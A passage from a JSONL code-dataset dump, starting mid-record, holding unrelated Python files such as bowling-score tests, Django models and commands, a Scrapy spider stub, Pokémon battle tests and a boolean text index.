print(\"HTTPError\")\n","sub_path":"assistant.py","file_name":"assistant.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"487894135","text":"from app.nsfw.models import Report\nimport requests\nfrom django.core.management.base import BaseCommand\nimport datetime\n\n\nclass UmaCommand(BaseCommand):\n\n def add_arguments(self, parser):\n parser.add_argument('date', nargs='+', type=str, help='13.12.2015')\n\n def handle(self, *args, **options):\n for date in options['date']:\n date = list(map(lambda _: int(_), date.split('.')))\n date = datetime.date(date[2], date[1], date[0])\n url = 'https://www.umweltbundesamt.de/en/luftdaten\\\n/stations/locations?pollutant={pollutant}&data_type={data_type}&date={date}\\\n&hour=15'.format(date=date.strftime('%Y%m%d'),\n pollutant=self.pollutant,\n data_type=self.data_type)\n req = requests.get(url)\n content = req.content.decode('utf8')\n if content:\n res, created = Report.objects.get_or_create(\n data=content,\n kind=self.pollutant,\n date=date)\n if created:\n self.stdout.write(self.style.SUCCESS('%s' % res))\n else:\n raise Exception('%s: no data available yet on %s. %s' % (self.pollutant, date, url))\n","sub_path":"app/nsfw/management/uma.py","file_name":"uma.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"376946716","text":"# -*- coding: utf-8 -*-\n# Запуск тестов командой pytest -v -k test_bowling_api.py находясь в текущем каталоге unit\n\nfrom bowling import get_score\nimport pytest\nfrom pytest import approx\n\nGAME_GOOD_RESULT_LIST = [\n ('X4/34-45-237/X-2x', 93),\n ('525/XX5--4XX6181X', 147),\n ('71XX27-56/519/12XX', 141),\n ('24X-35-1/X35-9X17X', 134),\n ('16-99/X12XX6-8/X41', 140),\n ('8/9/1462X9--5X7-6/', 119),\n ('------------', 0)\n ]\n\n\n@pytest.mark.parametrize(argnames=\"game_result, score\", argvalues=GAME_GOOD_RESULT_LIST)\ndef test_get_score_function_good_result(game_result, score):\n res = get_score(game_result=game_result)\n assert res == approx(expected=score)\n","sub_path":"lesson_014/tests/unit/test_bowling_api_good_result.py","file_name":"test_bowling_api_good_result.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"448957687","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Feb 14 15:39:41 2021\r\n\r\n@author: Bethan\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\n#from scipy.constants import k\r\n#import matplotlib \r\nimport matplotlib.pyplot as plt\r\n#import scipy as scipy\r\n#from scipy import optimize\r\nfrom matplotlib import gridspec\r\nfrom scipy.constants import k\r\nimport imageio\r\nimport os\r\n\r\nfrom particle import Particle \r\n \r\nclass Environment: \r\n \"\"\"A class representing the environment to put the particles in\"\"\"\r\n \r\n def __init__(self, L, Ti, omega_x, omega_y, omega_z): \r\n #just got initial temperature and length of cube side for now, can add in more parameters as needed\r\n self.L = L\r\n self.Ti = Ti\r\n self.omega_x = omega_x\r\n self.omega_y = omega_y\r\n self.omega_z = omega_z\r\n self.particles = []\r\n \r\n #creates a single particle, random r and v \r\n def Create_Particle(self, N):\r\n for i in range(N):\r\n test_p = Particle(1,1,1,1,1,1)\r\n Particle.set_rand_rv(test_p, self.Ti, self.omega_x, self.omega_y, self.omega_z)\r\n self.particles.append(test_p)\r\n \r\n def Make_graph(self):\r\n fig = plt.figure(figsize=(3,3))\r\n gs = gridspec.GridSpec(1,1)\r\n ax1 = fig.add_subplot(gs[0])\r\n ax1.set_ylim(-0.5,0.5) #this part is specific to \r\n ax1.set_xlim(-0.5,0.5)\r\n for i in self.particles:\r\n #print(i.x)\r\n ax1.scatter(i.x, i.y, c='b')\r\n \r\n def time_evolve(self,dt,Nt):\r\n for t in range(Nt):\r\n env.Make_graph()\r\n for i in self.particles:\r\n Particle.drift(i, dt)\r\n #Particle.potential_v_change(i, self.omega_x, self.omega_y, self.omega_z, dt)\r\n \r\n \r\n \r\n \r\n \r\nenv = Environment(0.1,10**-6,20,20,20)\r\n#env.test_sim(15,10,0.05)\r\nenv.Create_Particle(3)\r\nenv.Make_graph()\r\nenv.time_evolve(1,5)","sub_path":"help(test).py","file_name":"help(test).py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"387142332","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 11 01:12:27 2018\n\n@author: owen\n\"\"\"\n\n\n# Give a dictionary of words and a sentence with all whitespace removed, return the number of sentences you can form by inserting whitespaces to the sentence so that each word can be found in the dictionary.\n\n# 求有多少种分割方式, DP\n\nclass Solution:\n \"\"\"\n @param: : A string\n @param: : A set of word\n @return: the number of possible sentences.\n \"\"\"\n\n def wordBreak3(self, s, dict):\n # Write your code here\n # 1D-DP, time O(n^2), space O(n)\n if not dict:\n return 1 if s == \"\" else 0\n \n n = len(s)\n dp = [False] * (n + 1) # dp[i]: number of sentences s[:i] can be break\n dp[0] = True\n maxLen = float('-inf')\n lowercase_dict = set() # Ignore case\n for word in dict:\n lowercase_dict.add(word.lower())\n maxLen = max(maxLen, len(word))\n \n for i in range(1, n + 1):\n for j in range(max(0, i - maxLen), i):\n if s[j:i].lower() in lowercase_dict:\n dp[i] += dp[j]\n \n return dp[n]\n \n \n#class Solution:\n# \"\"\"\n# @param: : A string\n# @param: : A set of word\n# @return: the number of possible sentences.\n# \"\"\"\n#\n# def wordBreak3(self, s, dict):\n# # Write your code here\n# # 2D-DP + memo, time O(n^3), space O(n^2)\n# if not dict:\n# return 1 if s == \"\" else 0\n# \n# n = len(s)\n# maxLen = float('-inf')\n# lowercase_dict = set() # Ignore case\n# for word in dict:\n# lowercase_dict.add(word.lower())\n# maxLen = max(maxLen, len(word))\n# \n# dp = [[0] * n for __ in range(n)]\n# for i in range(n):\n# for j in range(i, min(i + maxLen, n)):\n# if s[i:j+1].lower() in lowercase_dict:\n# dp[i][j] = 1\n# \n# for i in range(n):\n# for j in range(i, n):\n# for k in range(i, j):\n# dp[i][j] += (dp[i][k] * dp[k + 1][j])\n# \n# return dp[0][n - 1]\n \n \n#class Solution:\n# \"\"\"\n# @param: : A string\n# @param: : A set of word\n# @return: the number of possible sentences.\n# \"\"\"\n#\n# def wordBreak3(self, s, dict):\n# # Write your code here\n# # DFS + memo, time O(n^2), space O(n)\n# def dfs(substr, maxLen, lower_dict, memo):\n# if substr in memo:\n# return memo[substr]\n# \n# if substr == \"\":\n# return 1\n# \n# cnt = 0\n# for i in range(1, min(len(substr), maxLen) + 1):\n# if substr[:i].lower() in lower_dict:\n# cnt += dfs(substr[i:], maxLen, lower_dict, memo)\n# \n# memo[substr] = cnt\n# return cnt\n# \n# \n# if not dict:\n# return 1 if s == \"\" else 0\n# \n# n = len(s)\n# maxLen = float('-inf')\n# lowercase_dict = set() # Ignore case\n# for word in dict:\n# lowercase_dict.add(word.lower())\n# maxLen = max(maxLen, len(word))\n# \n# memo = {}\n# return dfs(s, maxLen, lowercase_dict, memo)\n\n\n#class Solution:\n# \"\"\"\n# @param: : A string\n# @param: : A set of word\n# @return: the number of possible sentences.\n# \"\"\"\n#\n# def wordBreak3(self, s, dict):\n# # Write your code here\n# # DFS + memo, time O(n^2), space O(n)\n# def dfs(substr, start, length, maxLen, lower_dict, memo):\n# if start in memo:\n# return memo[start]\n# \n# if start == length:\n# return 1\n# \n# cnt = 0\n# for i in range(start + 1, min(len(substr), start + maxLen) + 1):\n# if substr[start:i].lower() in lower_dict:\n# cnt += dfs(substr, i, length, maxLen, lower_dict, memo)\n# \n# memo[start] = cnt # Notice, use start as the key\n# return cnt\n# \n# \n# if not dict:\n# return 1 if s == \"\" else 0\n# \n# n = len(s)\n# maxLen = float('-inf')\n# lowercase_dict = set() # Ignore case\n# for word in dict:\n# lowercase_dict.add(word.lower())\n# maxLen = max(maxLen, len(word))\n# \n# memo = {}\n# return dfs(s, 0, n, maxLen, lowercase_dict, memo)\n \n\nif __name__==\"__main__\":\n print(Solution().wordBreak3(\"aaaaaaaa\", [\"aaaa\",\"aa\",\"a\"]))\n","sub_path":"Word Break III.py","file_name":"Word Break III.py","file_ext":"py","file_size_in_byte":4718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"617889193","text":"#!/usr/bin/env python\n# coding=utf-8\n\n'''\n@Author: LonelyMarch\n@LastEditors: LonelyMarch\n@LastEditTime: 2021-02-26 21:24:13\n@FilePath: /StudentSys/demo.py\n@version:\n@Descripttion:\n'''\nimport wmi\nimport subprocess\nimport os\n\n\ndef Mysql_Service():\n services = wmi.WMI().Win32_Service(Name='mysql')\n if not services:\n # 创建mysql服务\n # 注意最后一个元素中的空格\n os.popen(''.join([os.getcwd(), '\\\\mysql\\\\bin', ' mysqld -install']))\n Mysql_Service()\n cmd = subprocess.Popen('net start mysql', shell=True)\n cmd.wait()\n # f = os.popen('net start mysql')\n print('MySQL服务已启动')\n\n\nMysql_Service()\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"294834585","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n# Create your models here.\nclass UserProfile(models.Model):\n user = models.OneToOneField(User, on_delete=models.CASCADE,)\n profile_pic = models.ImageField(upload_to = 'exchangergramMOMENT/',blank=True)\n bio = models.TextField(blank=True)\n followers = models.ManyToManyField(User, related_name=\"followers\", blank=True)\n following = models.ManyToManyField(User, related_name=\"following\", blank=True)\n\n def __str__(self):\n return self.user.username\n\n\nclass Post(models.Model):\n image = models.ImageField(blank=False, upload_to = 'exchangergram/')\n name = models.CharField(max_length=144, blank=True, default=\"Post\")\n caption = models.TextField(blank=True)\n date = models.DateTimeField(auto_now_add=True)\n likes = models.IntegerField(default=0)\n profile = models.ForeignKey(User, on_delete=models.CASCADE,)\n user_profile = models.ForeignKey(UserProfile, on_delete=models.CASCADE,)\n \n def __str__(self):\n return f\"{self.name} - {self.caption}\"\n\n def save_post(self):\n self.save()\n\n def delete_post(self):\n self.delete()\n\n def update_caption(self, new_cap):\n self.caption = new_cap\n self.save()\n\nclass Comment(models.Model):\n comment = models.CharField(max_length=256)\n user = models.ForeignKey(User, on_delete=models.CASCADE,)\n post = models.ForeignKey(Post, on_delete=models.CASCADE,)\n\n def __str__(self):\n return self.comment","sub_path":"gram/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"60519436","text":"from urllib import request\nimport json\n\n\nclass Request:\n def __init__(self, _url, _params):\n self.url = _url\n self.params = _params\n\n def post(self):\n # post传入数据需要二进制,所以要将用户名密码的字典转换成字符再转成bytes\n try:\n res = request.urlopen(url=self.url, data=json.dumps(self.params).encode())\n data = json.loads(res.read().decode())\n # 登陆成功\n if data['status'] == {}:\n uuid = data['uuid']\n accessToken = data['accessToken']\n _options = {'code': 0, 'uuid': uuid, 'accessToken': accessToken, 'message': 'SigninSuccess'}\n return _options\n # 登录失败\n elif data['status'] != {}:\n message = data['status']['message']\n _options = {'code': 1, 'uuid': '', 'accessToken': '', 'message': message}\n return _options\n # 服务器错误\n except Exception as e:\n _options = {'code': 1, 'uuid': '', 'accessToken': '', 'message': str(e)}\n return _options\n\n def get(self):\n pass\n","sub_path":"code/src/service/meex.py","file_name":"meex.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"485223333","text":"\"\"\"go_coup URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\nfrom django.contrib.auth import views as auth_views\n\n# LOGIN_URL = 'login'\n# LOGOUT_URL = 'logout'\n# LOGIN_REDIRECT_URL = 'home'\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^', include('index.urls', namespace='index')),\n url(r'^user/',include('usermanage.urls', namespace='user')),\n url(r'^store/',include('storemanage.urls', namespace='store')),\n url(r'^customer/',include('customermanage.urls', namespace='customer')),\n url(r'^shopping/',include('market.urls', namespace='market')),\n url(r'^search/', include('haystack.urls')),\n url(r'^oauth/', include('social_django.urls', namespace='social')),\n\n]\n","sub_path":"web/go_coup/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"161101134","text":"import logging,data\r\n\r\nbot = data.load('bot')\r\nlogging.debug\r\n\r\ndef setupLogger(name,log_file,level=logging.WARNING): # initialize logger\r\n\tlogger = logging.getLogger(name)\r\n\tformatter = logging.Formatter('[%(asctime)s.%(msecs)03d] %(message)s','%m/%d/%Y %H:%M:%S')\r\n\tfileHandler = logging.FileHandler(log_file, mode='a',encoding='utf-8')\r\n\tfileHandler.setFormatter(formatter)\r\n\tlogger.setLevel(level)\r\n\tlogger.addHandler(fileHandler)\r\n\treturn logger\r\n\r\noutputLog=setupLogger('output log','logs/output.log')\r\n\r\ndef logOutput(log,ctx): # log to output.log file\r\n\ttry: log = f'{log} in {ctx.guild.name} by {ctx.author.name}'\r\n\texcept: log = f'{log} in DMs with {ctx.author.name}'\r\n\toutputLog.warning(log)\r\n\tif bot.read(['config','outputToConsole']): print(log)","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"629673288","text":"import discord\nfrom discord.ext import commands\nfrom discord.utils import find\n\nfrom barcounter import log\n\nlogger = log\n\nROLE_NAME = \"barman\"\n\n\ndef is_role_powered(ctx):\n rl = find(lambda r: r.name == ROLE_NAME, ctx.author.roles)\n return rl is not None\n\n\ndef get_role(bot: discord.ext.commands.Bot, guild: discord.Guild):\n return bot.cogs[\"RoleRegistrarCog\"].guild_to_role[guild]\n\n\nclass RoleRegistrarCog(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.guild_to_role = dict()\n\n async def bot_check_once(self, ctx):\n return await self.on_guild_join(ctx.guild)\n\n @commands.Cog.listener()\n async def on_guild_join(self, guild):\n if guild not in self.guild_to_role:\n self.guild_to_role[guild] = await self._check_role_existence(guild)\n return True\n\n @staticmethod\n async def _check_role_existence(guild):\n if ROLE_NAME not in map(lambda x: x.name, guild.roles):\n logger.info(\"creating role in {0.id} guild\".format(guild))\n return await guild.create_role(name=ROLE_NAME, permissions=discord.Permissions.none())\n else:\n return find(lambda a: a.name == ROLE_NAME, guild.roles)\n\n\ndef setup(bot):\n bot.add_cog(RoleRegistrarCog(bot))\n","sub_path":"barcounter/cogs/roleregistrarcog.py","file_name":"roleregistrarcog.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"451817808","text":"#+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n#|r|e|d|a|n|d|g|r|e|e|n|.|c|o|.|u|k|\n#+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\nimport scrapy\nfrom scrapy.crawler import CrawlerProcess\nfrom scrapy import Request\nimport sys\nsys.path.insert(0,'..')\nfrom items import NewzzItem\n\nclass newzspider3(scrapy.Spider):\n\n name = 'newzspider3'\n\n headers={\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'accept-encoding': 'gzip,',\n 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',\n 'sec-fetch-dest': 'document',\n 'sec-fetch-mode': 'navigate',\n 'sec-fetch-site': 'same-origin',\n 'sec-fetch-user': '?1',\n 'upgrade-insecure-requests': '1',\n 'user-agent': ' Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36'}\n\n #custom_settings = {'FEEDS':{'results3.csv':{'format':'csv'}}} # replace with MySQL\n\n def start_requests (self):\n request = Request(url='https://www.independent.co.uk', headers=self.headers, callback=self.parse,dont_filter=True)\n yield request\n\n def parse(self, response):\n self.logger.info('Got successful response from {}'.format(response.url))\n\n\n\n# main driver\nif __name__ == '__main__':\n process = CrawlerProcess()\n process.crawl(newzspider3)\n process.start()\n","sub_path":"newzspider3.py","file_name":"newzspider3.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"36814272","text":"# MAC0242 ­ Laboratório de Programação II\n# Prof. Dr. Alfredo Goldman\n#\n# Projeto da Disciplina\n# Arthur Coser Marinho - 7210629\n# Daniel Jorge Renjiffo - 8531845\n#\n# Etapa 3\n# 12 de dezembro 2014\n\nimport unittest\nimport sys\nimport random\nfrom ataque import Ataque\nfrom batalha import Batalha\nfrom pokemon import Pokemon\nfrom battleAI import BattleAI\n\ndef randomPokemon():\n nome = \"RANDOM PKMN\"\n LVL = random.randint(1, 99)\n HP = random.randint(1, 255)\n ATK = random.randint(1, 255)\n DEF = random.randint(1, 255)\n SPD = random.randint(1, 255)\n SPC = random.randint(1, 255)\n TYP1 = random.randint(1, 14)\n TYP2 = random.randint(1, 15) \n numAtaque = random.randint(1, 4)\n ataque = []\n for i in range(numAtaque):\n nomeAtaque = \"ATAQUE\" + str(i+1)\n TYP = random.randint(1, 14)\n ACU = random.random()\n PWR = random.randint(1, 100)\n PP = random.randint(1, 50)\n ataque.append(Ataque(nomeAtaque, TYP, ACU, PWR, PP))\n return Pokemon(nome, LVL, HP, ATK, DEF, SPD, SPC, TYP1, TYP2, numAtaque, ataque)\n\nclass pokeTest(unittest.TestCase):\n\n n = 100\n\n def test_get(self):\n for i in range(self.n):\n pkmn = randomPokemon()\n self.assertEqual(pkmn.getNome(), pkmn.nome)\n self.assertEqual(pkmn.getLVL(), pkmn.LVL)\n self.assertEqual(pkmn.getHP(), pkmn.HP)\n self.assertEqual(pkmn.getATK(), pkmn.ATK)\n self.assertEqual(pkmn.getDEF(), pkmn.DEF)\n self.assertEqual(pkmn.getSPD(), pkmn.SPD)\n self.assertEqual(pkmn.getSPC(), pkmn.SPC)\n self.assertEqual(pkmn.getTYP1(), pkmn.TYP1)\n self.assertEqual(pkmn.getTYP2(), pkmn.TYP2)\n self.assertEqual(pkmn.getNumAtaques(), pkmn.numAtaques)\n for j in range(0,pkmn.numAtaques):\n self.assertEqual(pkmn.ataques[j].nome, pkmn.ataques[j].getNome())\n self.assertEqual(pkmn.ataques[j].TYP, pkmn.ataques[j].getTYP())\n self.assertEqual(pkmn.ataques[j].ACU, pkmn.ataques[j].getACU())\n self.assertEqual(pkmn.ataques[j].PWR, pkmn.ataques[j].getPWR())\n self.assertEqual(pkmn.ataques[j].PP, pkmn.ataques[j].getPP())\n self.assertEqual(pkmn.ataques[j].PPmax, pkmn.ataques[j].getPPmax())\n\n def test_set(self):\n for i in range(self.n):\n pkmn = randomPokemon()\n\n x = random.randint(0, 512)\n pkmn.setHP(x)\n self.assertEqual(pkmn.HP,x)\n pkmn.setHP(x * (-1))\n self.assertEqual(pkmn.HP,0) \n\n for j in range(0,pkmn.numAtaques):\n x = random.randint(0, 50)\n\n pkmn.ataques[j].setPP(x)\n self.assertEqual(pkmn.ataques[j].PP, x)\n\n pkmn.ataques[j].setPP(x * (-1))\n self.assertEqual(pkmn.ataques[j].PP, 0)\n\n def test_stat(self):\n for i in range(self.n):\n batalha = Batalha(randomPokemon(),randomPokemon(), True)\n for j in range(2):\n batalha.attacker = j\n pkmn = batalha.pkmn[j]\n for k in range(pkmn.numAtaques):\n ataque = pkmn.ataques[k]\n if (ataque.TYP > 8):\n self.assertEqual(batalha.stat(ataque.TYP), pkmn.SPC)\n else:\n self.assertEqual(batalha.stat(ataque.TYP), pkmn.ATK)\n\n def test_sametypebonus(self):\n for i in range(self.n):\n batalha = Batalha(randomPokemon(),randomPokemon(), True)\n for j in range(2):\n batalha.attacker = j\n pkmn = batalha.pkmn[j]\n for k in range(pkmn.numAtaques):\n ataque = pkmn.ataques[k]\n if (pkmn.TYP1 == ataque.TYP or pkmn.TYP2 == ataque.TYP):\n self.assertEqual(batalha.sametypebonus(ataque.TYP), 1.5)\n else:\n self.assertEqual(batalha.sametypebonus(ataque.TYP), 1.0)\n\n def test_effectiveness(self):\n for i in range(self.n):\n batalha = Batalha(randomPokemon(),randomPokemon(), True)\n for j in range(2):\n batalha.attacker = j\n pkmn = batalha.pkmn[j]\n for k in range(pkmn.numAtaques):\n ataque = pkmn.ataques[k]\n effe = batalha.effectiveness(ataque.TYP)\n if (effe != 0 and effe != 0.25 and effe != 0.5 and effe != 1 and effe != 2 and effe != 4):\n raise ValueError \n\n def test_damage(self):\n for i in range(self.n):\n batalha = Batalha(randomPokemon(),randomPokemon(), True)\n for j in range(batalha.pkmn[0].numAtaques):\n ataque = batalha.pkmn[0].ataques[j]\n self.assertGreaterEqual(batalha.damage(ataque, True, random.uniform(0.85,1.00)), 0)\n self.assertLess(batalha.damage(ataque, True, random.uniform(0.85,1.00)), 124248)\n self.assertGreaterEqual(batalha.damage(ataque, False, random.uniform(0.85,1.00)), 0)\n self.assertLess(batalha.damage(ataque, False, random.uniform(0.85,1.00)), 63654)\n for j in range(batalha.pkmn[1].numAtaques):\n ataque = batalha.pkmn[1].ataques[j]\n self.assertGreaterEqual(batalha.damage(ataque, True, random.uniform(0.85,1.00)), 0)\n self.assertLess(batalha.damage(ataque, True, random.uniform(0.85,1.00)), 124248)\n self.assertGreaterEqual(batalha.damage(ataque, False, random.uniform(0.85,1.00)), 0)\n self.assertLess(batalha.damage(ataque, False, random.uniform(0.85,1.00)), 63654)\n\n def test_AI(self):\n for i in range(self.n):\n battleAI = BattleAI(randomPokemon(), randomPokemon())\n ide = battleAI.escolheAtaque()\n self.assertGreaterEqual(ide, 1)\n self.assertLessEqual(ide, 4)\n battleAI.ppList = [0, 0, 0, 0]\n ide = battleAI.escolheAtaque()\n self.assertEqual(ide, 0)\n\nif __name__ == \"__main__\":\n unittest.main()","sub_path":"pokeTest.py","file_name":"pokeTest.py","file_ext":"py","file_size_in_byte":6143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"39712215","text":"class Tv:\n def __init__(self):\n self.is_on = False\n self.channel_no = 1\n self.channels = []\n self.volume = 0\n \n def on(self):\n self.is_on = True\n \n def off(self):\n self.is_on = False\n \n def show_status(self):\n \n if not self.is_on:\n print(\"Telewior jest wyłączony\")\n else:\n if self.channel_no <= len(self.channels):\n print(\"Telewizor jest właczony, kanal:\", self.channel_no, f\"({self.channels[self.channel_no-1]}), glosnosc:\", self.volume)\n else:\n print(\"Telewizor jest właczony, kanal:\", self.channel_no,\", glosnosc:\", self.volume)\n \n \n def set_channel(self, new_channel_no):\n self.channel_no = new_channel_no\n \n def set_channels(self):\n self.channels = [\"TVP1\", \"TVP2\", \"Polsat\", \"TVN\", \"Filmbox\", \"Discovery\", \"Nat Geo\"]\n \n def show_channels(self):\n print(\"Lista kanalow TV:\")\n j=1\n for i in self.channels:\n print(j, i)\n j-=-1\n if not self.channels:\n print(\"BRAK\")\n \n def vol_up(self):\n if self.volume<10:\n self.volume+=1\n \n def vol_down(self):\n if self.volume > 0:\n self.volume-=1\n \n \n \nt1 = Tv()\nt1.show_status()\nt1.on()\nt1.show_status()\nt1.vol_up()\nt1.vol_up()\nt1.show_channels()\nt1.set_channels()\nt1.show_status()\nt1.show_channels()\nt1.set_channel(5)\nfor i in range(5):\n t1.vol_down()\nt1.show_status()\nt1.set_channel(7)\nt1.show_status()\nt1.off()\n","sub_path":"06-ClassesAndObjects/06/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"618284766","text":"\"\"\"\nGiven an array of size n.The task is tofind the difference between highest occurrence and least occurrence of any number in an array\n\nConstraints:\n1<=n<=1000\n\nInput:\nFirst line contains integer n\nSecond line contains elements of array\nOutput:\nprint the difference between highest frequency and least frequency.\n\nExamples:\n\nInput : \n11\n7 8 4 5 4 1 1 7 7 2 5\nOutput : 2\nLowest occurring element (5) occurs once.\nHighest occurring element (1 or 7) occurs 3 times\n\nInput :\n6\n1 1 1 3 3 3\nOutput : 0\nInput:\n4\n1 2 2 4\nOutput:\n1\n\nInput:\n5\n3 3 3 3 1\nOutput:\n3\nInput:\n3\n1 2 3\nOutput:\n0\n\"\"\"\ndef findDiff(arr, n):\n arr.sort()\n max_count = 0\n min_count = n \n for i in range(n):\n count=arr.count(arr[i])\n max_count = max(max_count, count) \n min_count = min(min_count, count)\n return max_count - min_count\nn = int(input())\narr=list(map(int,input().split()))\nprint (findDiff(arr, n)) \n\n","sub_path":"highest and least frequency difference.py","file_name":"highest and least frequency difference.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"362703615","text":"from nltk.corpus import stopwords \nfrom nltk.tokenize import word_tokenize \nfrom document_dictionary import DocumentDictionary\nimport re\nimport nltk\nfrom nltk.stem import SnowballStemmer\nfrom dictionary import Dictionary\nfrom collections import defaultdict\n\nclass SimpleIndex():\n \"\"\"Class implementing a simple index for boolean retrival\n \"\"\"\n\n def __init__(self,text='bibbia.txt'):\n self._corpus = text\n self._index = {}\n self._document_dictionary = DocumentDictionary(text='bibbia.txt')\n self._document_dictionary.build_dictionary()\n self._index = None\n #clean dictionary is a map (book,par)-->normalized list of strings\n self._cleaned_dictionary = None\n self._cleaned_dictionary_abs = None\n self._dictionary = None\n self._index = None\n \n\n def clean_text(self):\n \"\"\"Remove punctuation from the text, then tokenize it and stem it.\n Meanwhile creates a running set which will be the (stemmed) vocabulary,\n object to pass to the Dictioanry object \n \n \"\"\"\n #Create a second object which will become the cleaned dictionary\n cleaned_dictionary = DocumentDictionary(text='bibbia.txt')\n cleaned_dictionary.build_dictionary()\n \n #Create the set of the stopwords for rapid check\n stopword = set(stopwords.words('italian'))\n \n #Create a set to be a dictionary_set\n dict_set = set()\n for k in cleaned_dictionary.keys():\n #First need to eliminate apostrophe to not have false compound terms\n par = re.sub('\\'',' ',cleaned_dictionary[k])\n tokens_text = nltk.Text(nltk.wordpunct_tokenize(par))\n #Eliminates all non textual chars\n final = [w.lower() for w in tokens_text if w.isalpha()]\n final_no_sw = [w for w in final if w not in stopword]\n #Apply stemming\n s = SnowballStemmer('italian')\n final_no_sw_stemmed = [s.stem(w) for w in final_no_sw]\n dict_set.update(set(final_no_sw_stemmed))\n cleaned_dictionary.assign(k,final_no_sw_stemmed)\n self._cleaned_dictionary = cleaned_dictionary\n self._dict_set = dict_set\n \n\n def create_dict(self):\n d = Dictionary(self._dict_set)\n d.build_dictionary()\n self._dictionary = d \n\n# def __getitem__(self,position):\n# book, paragraph = position\n# try:\n# return self._cleaned_dictionary[(book,paragraph)]\n# except:\n# return 'Something wrong occurred with keys: ({0},{1})'.format(book,paragraph)\n\n def get_dict(self):\n return self._dictionary\n\n def create_double_dictionary(self):\n \"\"\"Creates to dictioanary : one maps from keys to absolute numbers\n the other maps from absolute number to keys\n At the end creates a dictionary with absulute values fo\n the construction of the index\n \"\"\"\n #Creates keys to abs\n dict_keyss = sorted(list(self._document_dictionary.keys()))\n absolute = list(range(len(dict_keyss)))\n keys_to_abs = dict(list(zip(dict_keyss,absolute))) \n abs_to_keys = {v:k for (k,v) in keys_to_abs.items()}\n self._keys_to_abs = keys_to_abs\n self._abs_to_keys = abs_to_keys \n \n #Creating absolute index\n cleaned_dictionary_abs = dict([(keys_to_abs[k],self._cleaned_dictionary[k]) for k in self._cleaned_dictionary.keys()])\n self._cleaned_dictionary_abs = cleaned_dictionary_abs\n\n def create_boolean_index(self):\n \"\"\"Creates the index scanning through the cleaned_dictionary abs\n leverages on defaultdict to not check everytime the properties\n Index is a dictionary\n \"\"\"\n index = defaultdict(set)\n #no couting index-->surrogate of a boolean matrix\n for k in self._cleaned_dictionary_abs.keys():\n for w in self._cleaned_dictionary_abs[k]:\n index[w].update({k})\n\n self._index = index\n \n\n #TODO creates the index based on the choice of the user\n def create_index(self, index='boolean'):\n self.create_boolean_index()\n\n \n \n def __getitem__(self,key):\n \"\"\"È un default_dict, il controllo deve essere fatto runtime\n e non fare un catch dell'errore\n \"\"\"\n if key in self._index:\n return self._index[key]\n else:\n return {}\n\n def get_absolute(self,key):\n return self._document_dictionary[self._abs_to_keys[key]]\n \nif __name__ == '__main__':\n i = SimpleIndex()\n i.clean_text()\n #print(i[(1,1)])\n i.create_dict()\n #d = i.get_dict()\n i.create_double_dictionary()\n i.create_boolean_index()\n print(i['ciel'])\n \n \n \n\n \n\n","sub_path":"simple_index.py","file_name":"simple_index.py","file_ext":"py","file_size_in_byte":4813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} 